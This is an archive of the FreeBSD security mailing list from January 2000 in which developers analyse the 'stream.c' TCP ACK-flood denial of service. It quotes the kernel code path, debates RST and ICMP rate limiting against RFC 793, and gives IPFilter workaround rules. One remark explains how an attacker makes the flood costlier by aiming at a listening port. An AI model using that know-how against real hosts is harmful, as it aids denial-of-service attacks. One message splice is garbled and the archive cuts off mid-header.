<4.2.2.20000120182425.01886ec0@localhost> X-Sender: brett@localhost X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2 Date: Thu, 20 Jan 2000 20:17:30 -0700 To: security@freebsd.org From: Brett Glass Subject: stream.c worst-case kernel paths Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org I've been browsing the code, and have seen two possible places where the code might be improved to lessen the impact of this DoS. Folks who know the stack better may know about details and side effects that I don't, so so if my analysis has holes in it please don't chew me out TOO badly. From /sys/netinet/tcp_input.c: The kernel seeks a socket that matches the packet. It fails, of course, to find an open socket. inp = in_pcblookup_hash(&tcbinfo, ti->ti_src, ti->ti_sport, ti->ti_dst, ti->ti_dport, 1); If the system isn't listening on the port, inp is set to NULL. But inside in_pcblookup_hash, we've had to do two hash table lookups, because the "wildcard" flag is set to 1. (Suggested improvement: turn off the wildcard search if the packet is not a SYN. I suppose that if the packet IS a SYN, we still have to test to see if it was erroneously sent in the middle of a connection, so we really have to do both tests in that case. See in_pcb.c.) Back to tcp_input.c. We then execute the following: if (inp == NULL) { if (log_in_vain && tiflags & TH_SYN) { char buf[4*sizeof "123"]; strcpy(buf, inet_ntoa(ti->ti_dst)); log(LOG_INFO, "Connection attempt to TCP %s:%d from %s:%d\n", buf, ntohs(ti->ti_dport), inet_ntoa(ti->ti_src), ntohs(ti->ti_sport)); } } #ifdef ICMP_BANDLIM if (badport_bandlim(1) < 0) goto drop; #endif goto dropwithreset; } Normally, we'll wind up at the label "dropwithreset", which means we'll send back a RST. This suggests that restricting RSTs will help with the DoS. (Does anyone know if not sending an RST violates any RFCs if there was never a connection?) Trouble is, a smart attacker will fire the barrage at a port on which the machine is listening. This makes the code path longer because the hash table lookup will succeed. We execute: tp = intotcpcb(inp); if (tp == 0) goto dropwithreset; if (tp->t_state == TCPS_CLOSED) goto drop; /* Unscale the window into a 32-bit value. */ if ((tiflags & TH_SYN) == 0) tiwin = ti->ti_win << tp->snd_scale; else tiwin = ti->ti_win; so = inp->inp_socket; if (so->so_options & (SO_DEBUG|SO_ACCEPTCONN)) { #ifdef TCPDEBUG if (so->so_options & SO_DEBUG) { ostate = tp->t_state; tcp_saveti = *ti; } #endif if (so->so_options & SO_ACCEPTCONN) { register struct tcpcb *tp0 = tp; struct socket *so2; if ((tiflags & (TH_RST|TH_ACK|TH_SYN)) != TH_SYN) { /* * Note: dropwithreset makes sure we don't * send a RST in response to a RST. */ if (tiflags & TH_ACK) { tcpstat.tcps_badsyn++; goto dropwithreset; } goto drop; At which point the packet is dropped, since tiflags & (TH_RST|TH_ACK|TH_SYN)) != TH_SYN (that is, it's not a SYN). But we've had to attempt two hash table lookups (we could have done only one if we'd tested for a SYN) and send the RST unless we've disabled it. Worse still, if we send the RSTs, we may have to handle an ICMP "unreachable" message from the router if the source address is spoofed. So, the two obvious optimizations are to add a test for SYNs prior to the hash table lookup and not to send a RST back. --Brett To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Jan 20 19:34: 7 2000 Delivered-To: freebsd-security@freebsd.org Received: from fw.wintelcom.net (ns1.wintelcom.net [209.1.153.20]) by hub.freebsd.org (Postfix) with ESMTP id 9311214CE6 for ; Thu, 20 Jan 2000 19:34:04 -0800 (PST) (envelope-from bright@fw.wintelcom.net) Received: (from bright@localhost) by fw.wintelcom.net (8.9.3/8.9.3) id TAA21095; Thu, 20 Jan 2000 19:52:57 -0800 (PST) Date: Thu, 20 Jan 2000 19:52:57 -0800 From: Alfred Perlstein To: Brett Glass Cc: security@FreeBSD.ORG Subject: Re: stream.c worst-case kernel paths Message-ID: <20000120195257.G14030@fw.wintelcom.net> References: <4.2.2.20000120182425.01886ec0@localhost> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0.1i In-Reply-To: <4.2.2.20000120182425.01886ec0@localhost>; from brett@lariat.org on Thu, Jan 20, 2000 at 08:17:30PM -0700 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org * Brett Glass [000120 19:45] wrote: > I've been browsing the code, and have seen two possible places where > the code might be improved to lessen the impact of this DoS. Folks > who know the stack better may know about details and side effects > that I don't, so so if my analysis has holes in it please don't chew > me out TOO badly. It's a pretty good analysis, besideds the improvements mentioned here i _really_ think we should be able to delay the checksum as far as possible, I've been playing with this for a bit and I'll see how far it can be safely moved. Doing a checksum on an invalid packet is not worth it, might as well take the packet at face value, allow it to drop out, and only when it's about to be accepted _finally_ take the hit and do the checksum. As far as limiting RST and ICMP I really believe it's time that such things are _on_ by default. -Alfred > > From /sys/netinet/tcp_input.c: > > The kernel seeks a socket that matches the packet. It fails, of course, > to find an open socket. > > inp = in_pcblookup_hash(&tcbinfo, ti->ti_src, ti->ti_sport, > ti->ti_dst, ti->ti_dport, 1); > > If the system isn't listening on the port, inp is set to NULL. But inside > in_pcblookup_hash, we've had to do two hash table lookups, because > the "wildcard" flag is set to 1. (Suggested improvement: turn off the > wildcard search if the packet is not a SYN. I suppose that if the > packet IS a SYN, we still have to test to see if it was erroneously > sent in the middle of a connection, so we really have to do both tests > in that case. See in_pcb.c.) > > Back to tcp_input.c. We then execute the following: > > if (inp == NULL) { > if (log_in_vain && tiflags & TH_SYN) { > char buf[4*sizeof "123"]; > > strcpy(buf, inet_ntoa(ti->ti_dst)); > log(LOG_INFO, > "Connection attempt to TCP %s:%d from %s:%d\n", > buf, ntohs(ti->ti_dport), inet_ntoa(ti->ti_src), > ntohs(ti->ti_sport)); > } > } > #ifdef ICMP_BANDLIM > if (badport_bandlim(1) < 0) > goto drop; > #endif > goto dropwithreset; > } > > Normally, we'll wind up at the label "dropwithreset", which means we'll send back a RST. > This suggests that restricting RSTs will help with the DoS. (Does anyone know if > not sending an RST violates any RFCs if there was never a connection?) > > Trouble is, a smart attacker will fire the barrage at a port on which the machine is > listening. This makes the code path longer because the hash table lookup will succeed. > We execute: > > tp = intotcpcb(inp); > if (tp == 0) > goto dropwithreset; > if (tp->t_state == TCPS_CLOSED) > goto drop; > > /* Unscale the window into a 32-bit value. */ > if ((tiflags & TH_SYN) == 0) > tiwin = ti->ti_win << tp->snd_scale; > else > tiwin = ti->ti_win; > > so = inp->inp_socket; > if (so->so_options & (SO_DEBUG|SO_ACCEPTCONN)) { > #ifdef TCPDEBUG > if (so->so_options & SO_DEBUG) { > ostate = tp->t_state; > tcp_saveti = *ti; > } > #endif > if (so->so_options & SO_ACCEPTCONN) { > register struct tcpcb *tp0 = tp; > struct socket *so2; > if ((tiflags & (TH_RST|TH_ACK|TH_SYN)) != TH_SYN) { > /* > * Note: dropwithreset makes sure we don't > * send a RST in response to a RST. > */ > if (tiflags & TH_ACK) { > tcpstat.tcps_badsyn++; > goto dropwithreset; > } > goto drop; > > At which point the packet is dropped, since tiflags & (TH_RST|TH_ACK|TH_SYN)) != TH_SYN > (that is, it's not a SYN). But we've had to attempt two hash table lookups (we could have done > only one if we'd tested for a SYN) and send the RST unless we've disabled it. Worse still, if > we send the RSTs, we may have to handle an ICMP "unreachable" message from the router if the > source address is spoofed. > > So, the two obvious optimizations are to add a test for SYNs prior to the hash table lookup and > not to send a RST back. > > --Brett > > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-security" in the body of the message -- -Alfred Perlstein - [bright@wintelcom.net|alfred@freebsd.org] To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Jan 20 20:54:54 2000 Delivered-To: freebsd-security@freebsd.org Received: from apollo.backplane.com (apollo.backplane.com [216.240.41.2]) by hub.freebsd.org (Postfix) with ESMTP id 1317F14F77 for ; Thu, 20 Jan 2000 20:54:50 -0800 (PST) (envelope-from dillon@apollo.backplane.com) Received: (from dillon@localhost) by apollo.backplane.com (8.9.3/8.9.1) id TAA55516; Thu, 20 Jan 2000 19:51:42 -0800 (PST) (envelope-from dillon) Date: Thu, 20 Jan 2000 19:51:42 -0800 (PST) From: Matthew Dillon Message-Id: <200001210351.TAA55516@apollo.backplane.com> To: Alfred Perlstein Cc: Brett Glass , security@FreeBSD.ORG Subject: Re: stream.c worst-case kernel paths References: <4.2.2.20000120182425.01886ec0@localhost> <20000120195257.G14030@fw.wintelcom.net> Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org :It's a pretty good analysis, besideds the improvements mentioned :here i _really_ think we should be able to delay the checksum as :far as possible, I've been playing with this for a bit and I'll :see how far it can be safely moved. : :Doing a checksum on an invalid packet is not worth it, might as :well take the packet at face value, allow it to drop out, and :only when it's about to be accepted _finally_ take the hit and do :the checksum. : :As far as limiting RST and ICMP I really believe it's time that :such things are _on_ by default. : :-Alfred ICMP_BANDLIM has been in the tree for some time now and I have never received a bad bug report from people using it. I might recommend increasing the default net.inet.icmp.icmplim from 100 to 200, but otherwise I think it could be turned on by default without causing any ill effects. I would personally prefer that we wait until after the 4.0 release before changing the default to on. -Matt To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Jan 20 21:19:31 2000 Delivered-To: freebsd-security@freebsd.org Received: from cairo.anu.edu.au (cairo.anu.edu.au [150.203.224.11]) by hub.freebsd.org (Postfix) with ESMTP id 1CA2B1502D for ; Thu, 20 Jan 2000 21:19:27 -0800 (PST) (envelope-from avalon@cairo.anu.edu.au) Received: (from avalon@localhost) by cairo.anu.edu.au (8.9.3/8.9.3) id PAA24853; Fri, 21 Jan 2000 15:17:34 +1100 (EST) From: Darren Reed Message-Id: <200001210417.PAA24853@cairo.anu.edu.au> Subject: Re: stream.c worst-case kernel paths To: brett@lariat.org (Brett Glass) Date: Fri, 21 Jan 2000 15:17:34 +1100 (Australia/NSW) Cc: security@FreeBSD.ORG In-Reply-To: <4.2.2.20000120182425.01886ec0@localhost> from "Brett Glass" at Jan 20, 2000 08:17:30 PM X-Mailer: ELM [version 2.5 PL1] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org In some mail from Brett Glass, sie said: > > I've been browsing the code, and have seen two possible places where > the code might be improved to lessen the impact of this DoS. Folks > who know the stack better may know about details and side effects > that I don't, so so if my analysis has holes in it please don't chew > me out TOO badly. > > From /sys/netinet/tcp_input.c: > > The kernel seeks a socket that matches the packet. It fails, of course, > to find an open socket. > > inp = in_pcblookup_hash(&tcbinfo, ti->ti_src, ti->ti_sport, > ti->ti_dst, ti->ti_dport, 1); > If the system isn't listening on the port, inp is set to NULL. But inside > in_pcblookup_hash, we've had to do two hash table lookups, because > the "wildcard" flag is set to 1. (Suggested improvement: turn off the > wildcard search if the packet is not a SYN. I suppose that if the > packet IS a SYN, we still have to test to see if it was erroneously > sent in the middle of a connection, so we really have to do both tests > in that case. See in_pcb.c.) Also, what about the simultaneous connection problem ? (both ends send SYN's to the other, same ports). > Back to tcp_input.c. We then execute the following: > > if (inp == NULL) { > if (log_in_vain && tiflags & TH_SYN) { > char buf[4*sizeof "123"]; > > strcpy(buf, inet_ntoa(ti->ti_dst)); > log(LOG_INFO, > "Connection attempt to TCP %s:%d from %s:%d\n", > buf, ntohs(ti->ti_dport), inet_ntoa(ti->ti_src), > ntohs(ti->ti_sport)); > } > } > #ifdef ICMP_BANDLIM > if (badport_bandlim(1) < 0) > goto drop; > #endif > goto dropwithreset; > } > > Normally, we'll wind up at the label "dropwithreset", which means we'll > send back a RST. This suggests that restricting RSTs will help with the > DoS. (Does anyone know if not sending an RST violates any RFCs if there > was never a connection?) Yes. RFC 793, figure 11, page 35, describes the prescribed behaviour. Darren To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Jan 20 21:19:38 2000 Delivered-To: freebsd-security@freebsd.org Received: from cairo.anu.edu.au (cairo.anu.edu.au [150.203.224.11]) by hub.freebsd.org (Postfix) with ESMTP id 195C415295; Thu, 20 Jan 2000 21:19:31 -0800 (PST) (envelope-from avalon@cairo.anu.edu.au) Received: (from avalon@localhost) by cairo.anu.edu.au (8.9.3/8.9.3) id PAA25285; Fri, 21 Jan 2000 15:21:35 +1100 (EST) From: Darren Reed Message-Id: <200001210421.PAA25285@cairo.anu.edu.au> Subject: Re: bugtraq posts: stream.c - new FreeBSD exploit? To: brett@lariat.org (Brett Glass) Date: Fri, 21 Jan 2000 15:21:35 +1100 (Australia/NSW) Cc: avalon@coombs.anu.edu.au (Darren Reed), imp@village.org (Warner Losh), jamiE@arpa.com (jamiE rishaw - master e*tard), tom@uniserve.com (Tom), mike@sentex.net (Mike Tancsa), freebsd-security@FreeBSD.ORG, freebsd-stable@FreeBSD.ORG In-Reply-To: <4.2.2.20000120211801.01a4a4c0@localhost> from "Brett Glass" at Jan 20, 2000 09:18:51 PM X-Mailer: ELM [version 2.5 PL1] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org In some mail from Brett Glass, sie said: > > At 06:48 PM 1/20/2000 , Darren Reed wrote: > > >If you are using ipnat and have ipfilter installed, the work around is > >as follows: > > I'm not very experienced with IPFilter, so this may be an "newbie" question, > but why is ipnat necessary? It isn't. I said that for people who are using ipnat but not ipfilter. btw, I think the better way to write the 3 rules is: block in quick proto tcp from any to any head 100 pass in quick proto tcp from any to any flags S keep state group 100 pass in all Darren To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Jan 20 21:26:14 2000 Delivered-To: freebsd-security@freebsd.org Received: from apollo.backplane.com (apollo.backplane.com [216.240.41.2]) by hub.freebsd.org (Postfix) with ESMTP id 5334215493 for ; Thu, 20 Jan 2000 21:26:12 -0800 (PST) (envelope-from dillon@apollo.backplane.com) Received: (from dillon@localhost) by apollo.backplane.com (8.9.3/8.9.1) id VAA56412; Thu, 20 Jan 2000 21:21:36 -0800 (PST) (envelope-from dillon) Date: Thu, 20 Jan 2000 21:21:36 -0800 (PST) From: Matthew Dillon Message-Id: <200001210521.VAA56412@apollo.backplane.com> To: Brett Glass Cc: Alfred Perlstein , security@FreeBSD.ORG Subject: Re: stream.c worst-case kernel paths References: <4.2.2.20000120182425.01886ec0@localhost> <20000120195257.G14030@fw.wintelcom.net> <4.2.2.20000120220649.018faa80@localhost> Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org :How about one of the "golden" releases along 3.X-STABLE? After all, those :of us who are conservative will not be deploying 4.X in mission-critical :applications until the 4.1 or 4.2 point release (depending on how well :things go). : :I'd certainly like to see TCP_RESTRICT_RST on by default. Blocking RSTs :is getting to be a standard feature. Our lab's Windows boxes run BlackIce :Defender, which does this, and it makes them pretty resilient. : :And is there any reason NOT to turn on TCP_DROP_SYNFIN? : :--Brett I think it's a bad idea to make anything that breaks the protocol standard the default. I don't like the idea of always dropping (instead of sending an RST) - it's much better to band-limit the rate to deal with D.O.S. attacks and follow the protocol spec at all other times. For the same reason I don't particularly like the idea of killing SYN+FIN gratuitously. I couldn't care less whether nmap is able to identify my machine or not, but I care greatly about protocol breakage. -Matt Matthew Dillon To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Jan 20 21:38:41 2000 Delivered-To: freebsd-security@freebsd.org Received: from cairo.anu.edu.au (cairo.anu.edu.au [150.203.224.11]) by hub.freebsd.org (Postfix) with ESMTP id 8E62615450; Thu, 20 Jan 2000 21:38:27 -0800 (PST) (envelope-from avalon@cairo.anu.edu.au) Received: (from avalon@localhost) by cairo.anu.edu.au (8.9.3/8.9.3) id QAA04706; Fri, 21 Jan 2000 16:34:26 +1100 (EST) From: Darren Reed Message-Id: <200001210534.QAA04706@cairo.anu.edu.au> Subject: Re: bugtraq posts: stream.c - new FreeBSD exploit? To: mi@kot.ne.mediaone.net (Mikhail Teterin) Date: Fri, 21 Jan 2000 16:34:26 +1100 (Australia/NSW) Cc: avalon@coombs.anu.edu.au (Darren Reed), brett@lariat.org (Brett Glass), imp@village.org (Warner Losh), jamiE@arpa.com (jamiE rishaw - master e*tard), tom@uniserve.com (Tom), mike@sentex.net (Mike Tancsa), freebsd-security@FreeBSD.ORG, freebsd-stable@FreeBSD.ORG In-Reply-To: <200001210531.AAA26807@rtfm.newton> from "Mikhail Teterin" at Jan 21, 2000 12:31:10 AM X-Mailer: ELM [version 2.5 PL1] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org In some mail from Mikhail Teterin, sie said: > > Darren Reed once stated: > > =It isn't. I said that for people who are using ipnat but not ipfilter. > = > =btw, I think the better way to write the 3 rules is: > = > =block in quick proto tcp from any to any head 100 > =pass in quick proto tcp from any to any flags S keep state group 100 > =pass in all > > Can a similar rule be created for ipfw? Thanks! Unless ipfw has stateful packet filtering, no. Darren To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Jan 20 21:39:58 2000 Delivered-To: freebsd-security@freebsd.org Received: from lariat.lariat.org (lariat.lariat.org [206.100.185.2]) by hub.freebsd.org (Postfix) with ESMTP id C39A415295 for ; Thu, 20 Jan 2000 21:39:55 -0800 (PST) (envelope-from brett@lariat.org) Received: from workhorse (IDENT:ppp0.lariat.org@lariat.lariat.org [206.100.185.2]) by lariat.lariat.org (8.9.3/8.9.3) with ESMTP id WAA15047; Thu, 20 Jan 2000 22:31:00 -0700 (MST) Message-Id: <4.2.2.20000120222630.01919150@localhost> X-Sender: brett@localhost X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2 Date: Thu, 20 Jan 2000 22:30:37 -0700 To: Matthew Dillon From: Brett Glass Subject: Re: stream.c worst-case kernel paths Cc: Alfred Perlstein , security@FreeBSD.ORG In-Reply-To: <200001210521.VAA56412@apollo.backplane.com> References: <4.2.2.20000120182425.01886ec0@localhost> <20000120195257.G14030@fw.wintelcom.net> <4.2.2.20000120220649.018faa80@localhost> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org At 10:21 PM 1/20/2000 , Matthew Dillon wrote: > I think it's a bad idea to make anything that breaks the protocol > standard the default. I see your point. But isn't it really the protocol standard that's broken? It might be worthwhile to set a de facto standard as part of the process of moving for change in the formal one. (Extensions and changes to IETF standards frequently happen this way.) If people at the IETF meetings say, "FreeBSD now handles this situation this way, and it's MUCH more robust," it'll be a strong selling point in favor of a follow-on RFC. This has worked for e-mail standards, which Heaven knows are STILL in need of enhancement. --Brett Glass To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Jan 20 21:40: 8 2000 Delivered-To: freebsd-security@freebsd.org Received: from lariat.lariat.org (lariat.lariat.org [206.100.185.2]) by hub.freebsd.org (Postfix) with ESMTP id 69C9215291 for ; Thu, 20 Jan 2000 21:39:57 -0800 (PST) (envelope-from brett@lariat.org) Received: from workhorse (IDENT:ppp0.lariat.org@lariat.lariat.org [206.100.185.2]) by lariat.lariat.org (8.9.3/8.9.3) with ESMTP id WAA14892; Thu, 20 Jan 2000 22:16:29 -0700 (MST) Message-Id: <4.2.2.20000120220649.018faa80@localhost> X-Sender: brett@localhost X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2 Date: Thu, 20 Jan 2000 22:16:26 -0700 To: Matthew Dillon , Alfred Perlstein From: Brett Glass Subject: Re: stream.c worst-case kernel paths Cc: security@FreeBSD.ORG In-Reply-To: <200001210351.TAA55516@apollo.backplane.com> References: <4.2.2.20000120182425.01886ec0@localhost> <20000120195257.G14030@fw.wintelcom.net> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org At 08:51 PM 1/20/2000 , Matthew Dillon wrote: > ICMP_BANDLIM has been in the tree for some time now and I have never > received a bad bug report from people using it. I might recommend > increasing the default net.inet.icmp.icmplim from 100 to 200, but > otherwise I think it could be turned on by default without causing > any ill effects. > > I would personally prefer that we wait until after the 4.0 release > before changing the default to on. How about one of the "golden" releases along 3.X-STABLE? After all, those of us who are conservative will not be deploying 4.X in mission-critical applications until the 4.1 or 4.2 point release (depending on how well things go). I'd certainly like to see TCP_RESTRICT_RST on by default. Blocking RSTs is getting to be a standard feature. Our lab's Windows boxes run BlackIce Defender, which does this, and it makes them pretty resilient. And is there any reason NOT to turn on TCP_DROP_SYNFIN? --Brett To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Jan 20 21:40:16 2000 Delivered-To: freebsd-security@freebsd.org Received: from lariat.lariat.org (lariat.lariat.org [206.100.185.2]) by hub.freebsd.org (Postfix) with ESMTP id C6CDB1547B; Thu, 20 Jan 2000 21:40:02 -0800 (PST) (envelope-from brett@lariat.org) Received: from workhorse (IDENT:ppp0.lariat.org@lariat.lariat.org [206.100.185.2]) by lariat.lariat.org (8.9.3/8.9.3) with ESMTP id VAA14277; Thu, 20 Jan 2000 21:18:51 -0700 (MST) Message-Id: <4.2.2.20000120211801.01a4a4c0@localhost> X-Sender: brett@localhost X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2 Date: Thu, 20 Jan 2000 21:18:51 -0700 To: Darren Reed , avalon@coombs.anu.edu.au (Darren Reed) From: Brett Glass Subject: Re: bugtraq posts: stream.c - new FreeBSD exploit? Cc: avalon@coombs.anu.edu.au (Darren Reed), imp@village.org (Warner Losh), jamiE@arpa.com (jamiE rishaw - master e*tard), tom@uniserve.com (Tom), mike@sentex.net (Mike Tancsa), freebsd-security@FreeBSD.ORG, freebsd-stable@FreeBSD.ORG In-Reply-To: <200001210148.MAA29656@cairo.anu.edu.au> References: <200001210103.MAA20844@cairo.anu.edu.au> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org At 06:48 PM 1/20/2000 , Darren Reed wrote: >If you are using ipnat and have ipfilter installed, the work around is >as follows: I'm not very experienced with IPFilter, so this may be an "newbie" question, but why is ipnat necessary? --Brett To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Jan 20 21:40:23 2000 Delivered-To: freebsd-security@freebsd.org Received: from kot.ne.mediaone.net (kot.ne.mediaone.net [24.218.15.190]) by hub.freebsd.org (Postfix) with ESMTP id C0F2F1547D; Thu, 20 Jan 2000 21:40:04 -0800 (PST) (envelope-from mi@kot.ne.mediaone.net) Received: from rtfm.newton (mi@rtfm.newton [10.10.0.1]) by kot.ne.mediaone.net (8.9.3/8.9.1) with ESMTP id AAA87473; Fri, 21 Jan 2000 00:31:11 -0500 (EST) From: Mikhail Teterin X-Relay-IP: 10.10.0.1 Received: (from mi@localhost) by rtfm.newton (8.9.3/8.9.3) id AAA26807; Fri, 21 Jan 2000 00:31:11 -0500 (EST) (envelope-from mi@kot.ne.mediaone.net) Message-Id: <200001210531.AAA26807@rtfm.newton> Subject: Re: bugtraq posts: stream.c - new FreeBSD exploit? In-Reply-To: <200001210421.PAA25285@cairo.anu.edu.au> from Darren Reed at "Jan 21, 2000 03:21:35 pm" To: Darren Reed Date: Fri, 21 Jan 2000 00:31:10 -0500 (EST) Cc: Brett Glass , Warner Losh , jamiE rishaw - master e*tard , Tom , Mike Tancsa , freebsd-security@FreeBSD.ORG, freebsd-stable@FreeBSD.ORG X-Face: %UW#n0|w>ydeGt/b@1-.UFP=K^~-:0f#O:D7w hJ5G_<5143Bb3kOIs9XpX+"V+~$adGP:J|SLieM31VIhqXeLBli"; Thu, 20 Jan 2000 21:39:58 -0800 (PST) (envelope-from brett@lariat.org) Received: from workhorse (IDENT:ppp0.lariat.org@lariat.lariat.org [206.100.185.2]) by lariat.lariat.org (8.9.3/8.9.3) with ESMTP id VAA14350; Thu, 20 Jan 2000 21:27:16 -0700 (MST) Message-Id: <4.2.2.20000120212336.01882220@localhost> X-Sender: brett@localhost X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2 Date: Thu, 20 Jan 2000 21:27:16 -0700 To: Darren Reed From: Brett Glass Subject: Re: stream.c worst-case kernel paths Cc: security@FreeBSD.ORG In-Reply-To: <200001210417.PAA24853@cairo.anu.edu.au> References: <4.2.2.20000120182425.01886ec0@localhost> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org At 09:17 PM 1/20/2000 , Darren Reed wrote: >Also, what about the simultaneous connection problem ? (both ends send >SYN's to the other, same ports). The odds of the source ports being the same are minuscule. Wouldn't this prevent a problem? Or am I misunderstanding the implications here? > Normally, we'll wind up at the label "dropwithreset", which means we'll > > send back a RST. This suggests that restricting RSTs will help with the > > DoS. (Does anyone know if not sending an RST violates any RFCs if there > > was never a connection?) > >Yes. RFC 793, figure 11, page 35, describes the prescribed behaviour. Isn't there a later RFC describing techniques for avoiding DoSes? (If not, it may be time to write one. "Best practice" is changing now that the 'Net is getting to be a hostile place.) --Brett To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Jan 20 21:46: 7 2000 Delivered-To: freebsd-security@freebsd.org Received: from lariat.lariat.org (lariat.lariat.org [206.100.185.2]) by hub.freebsd.org (Postfix) with ESMTP id A935515624; Thu, 20 Jan 2000 21:46:00 -0800 (PST) (envelope-from brett@lariat.org) Received: from workhorse (IDENT:ppp0.lariat.org@lariat.lariat.org [206.100.185.2]) by lariat.lariat.org (8.9.3/8.9.3) with ESMTP id WAA15168; Thu, 20 Jan 2000 22:43:58 -0700 (MST) Message-Id: <4.2.2.20000120223838.019309d0@localhost> X-Sender: brett@localhost X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2 Date: Thu, 20 Jan 2000 22:43:57 -0700 To: Mikhail Teterin , Darren Reed From: Brett Glass Subject: Re: bugtraq posts: stream.c - new FreeBSD exploit? Cc: Warner Losh , jamiE rishaw - master e*tard , Tom , Mike Tancsa , freebsd-security@FreeBSD.ORG, freebsd-stable@FreeBSD.ORG In-Reply-To: <200001210531.AAA26807@rtfm.newton> References: <200001210421.PAA25285@cairo.anu.edu.au> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Unfortunately, no. IPFW is stateless (at least from packet to packet). This makes it compact and fast but unable to detect or handle some situations by itself. You could write a daemon that hung off of a divert(4) socket (as natd does) to do this, but serious juju would be required. --Brett At 10:31 PM 1/20/2000 , Mikhail Teterin wrote: >Can a similar rule be created for ipfw? Thanks! > > -mi To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Jan 20 22:28:29 2000 Delivered-To: freebsd-security@freebsd.org Received: from mail.xmission.com (mail.xmission.com [198.60.22.22]) by hub.freebsd.org (Postfix) with ESMTP id ACCBD151CD; Thu, 20 Jan 2000 22:28:25 -0800 (PST) (envelope-from wes@softweyr.com) Received: from [204.68.178.39] (helo=softweyr.com ident=wes) by mail.xmission.com with esmtp (Exim 3.03 #3) id 12BXYV-0005WF-00; Thu, 20 Jan 2000 23:28:23 -0700 Message-ID: <3887FD8A.379E9B91@softweyr.com> Date: Thu, 20 Jan 2000 23:32:42 -0700 From: Wes Peters Organization: Softweyr LLC X-Mailer: Mozilla 4.7 [en] (X11; U; FreeBSD 3.3-RELEASE i386) X-Accept-Language: en MIME-Version: 1.0 To: Brett Glass Cc: Darren Reed , Warner Losh , jamiE rishaw - master e*tard , Tom , Mike Tancsa , freebsd-security@FreeBSD.ORG, freebsd-stable@FreeBSD.ORG, security-officer@FreeBSD.ORG Subject: Re: bugtraq posts: stream.c - new FreeBSD exploit? References: <4.2.2.20000120174826.01882ad0@localhost> <4.2.2.20000120180821.0188d5c0@localhost> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Brett Glass wrote: > > At 06:03 PM 1/20/2000 , Darren Reed wrote: > > >If you're using "flags S keep state" or "flags S/SA keep state", > >then as far as I'm aware, having read the code, you are safe. > > This might be a workaround. What rule(s) would have to follow it > to block the ACK? > > >I'm intrigued to know what the bug is. Reading the code, it is > >hard to see how you could make a box fall over using it, unless > >there were some serious problems in how random TCP ACK's were > >handled. > > My guess is that there's a long code path, or other inefficiency, > in the way the ACK is handled. Perhaps a linear search for the > right socket instead of one that's more clevery implemented > (e.g. search by port, then address, etc.). I don't think so. The handling for bare TCP ACKs isn't all that bad, so I'm not seeing the bug. Maybe tomorrow, after I've slept a bit. Tonight it's just escaping me. From the report, it's obviously a resource usage problem, where the ACKs are being queued up or something, but I can't see it tonight. -- "Where am I, and what am I doing in this handbasket?" Wes Peters Softweyr LLC wes@softweyr.com http://softweyr.com/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Jan 20 22:29:15 2000 Delivered-To: freebsd-security@freebsd.org Received: by 